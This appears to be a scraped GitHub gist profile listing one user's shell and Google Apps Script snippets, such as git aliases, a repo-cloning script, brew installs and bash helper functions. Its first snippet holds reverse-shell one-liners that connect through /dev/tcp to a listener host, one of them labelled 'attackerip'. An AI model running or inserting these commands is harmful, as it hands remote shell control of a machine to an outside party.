Skip to content

Instantly share code, notes, and snippets.

View Gabelbombe's full-sized avatar

Till Eulenspiegel Gabelbombe

  • The Deep Darkness, WA
View GitHub Profile
#bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#bash alt
exec /bin/bash 0&0 2>&0
#bash alt 2
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
#bash alt 3
#!/bin/bash
curl -X POST -u user:pass \
-H "Content-Type: application/binary" \
--data-binary @file.dat \
"https://domain.com/api/v2/uploads.json?filename=myfile.dat"
#
# Working with branches
#
# Get the current branch name (not so useful in itself, but used in
# other aliases)
branch-name = "!git rev-parse --abbrev-ref HEAD"
# Push the current branch to the remote "origin", and set it to track
# the upstream branch
publish = "!git push -u origin $(git branch-name)"
#!/bin/bash
OAUTH_TOKEN=abcdefghijklmnopqrstuvqxyz1234567890
ORGANISATION=SomeGithubOrganisation
for repo in $(curl -sSL -H "Authorization: token $OAUTH_TOKEN" \
https://api.github.com/orgs/$ORGAN_NAME/repos \
|jq -r '.[] .ssh_url') ; do
git clone $repo
done
#!/bin/bash
brew install android-platform-tools
brew install ansible
brew install aria2
brew install awscli
brew install bash
brew install bash-completion
brew install binutils
brew install cairo
brew install coreutils
!/usr/bin/env bash -ue
## Fetches declared assets from a URL
## Usage: fetch pdf jpg http://f.javier.io/rep/papers
function fetch ()
{
types=$(echo ${*%${!#}} |xargs)
types="${types// /,}" ; [ -z "${types##*,*}" ] && types="{$types}" #is multi?
wget -r -A.${types} ${@:$#}
}
@Gabelbombe
Gabelbombe / README.md
Last active November 11, 2024 01:18
Yell Die Try functions for bash...

Explanation

  • yell: print the script name and all arguments to stderr:
    • $0 is the path to the script
    • $* are all arguments.
    • >&2 means > redirect stdout to & pipe 2. pipe 1 would be stdout itself.
  • die does the same as yell, but exits with a non-0 exit status, which means "fail".
  • try uses the || (boolean OR), which only evaluates the right side if the left one didn’t fail.
#!/bin/bash
aopts() { env - sh -s -- "$@"
} <<OPTCASE 3<<\OPTSCRIPT
acase() case "\$a" in $(fmt='
(%s) f=%s; aset "?$(($f)):";;\n'
for a do case "$a" in (--) break;;
(--*[!_[:alnum:]]*) continue;;
(--*) printf "$fmt" "$a" "${a#--}";;
esac;done;printf "$fmt" '--*' ignored)
@Gabelbombe
Gabelbombe / GmailAppRegexpSearch.js
Created April 3, 2017 15:34
GoogleApps script using simple js to perform regexp searches.
function GmailAppRegexpSearch ()
{
var sheet = SpreadsheetApp.getActiveSheet();
var row = 2;
// Clear existing search results
sheet.getRange(2, 1, sheet.getMaxRows() - 1, 4).clearContent();
// Which Gmail Label should be searched?
var label = sheet.getRange("F3").getValue();
#!/usr/bin/env bash -ue
# Usage : ffd BINARY_CMD
# Example: if ffd $(declare |grep -m1 '\s()' |awk '{print$1}') ; then ....
function ffd ()
{
declare -f "$1" >/dev/null && echo || ! echo
}
# Usage : vcomps MIN CURRENT MAX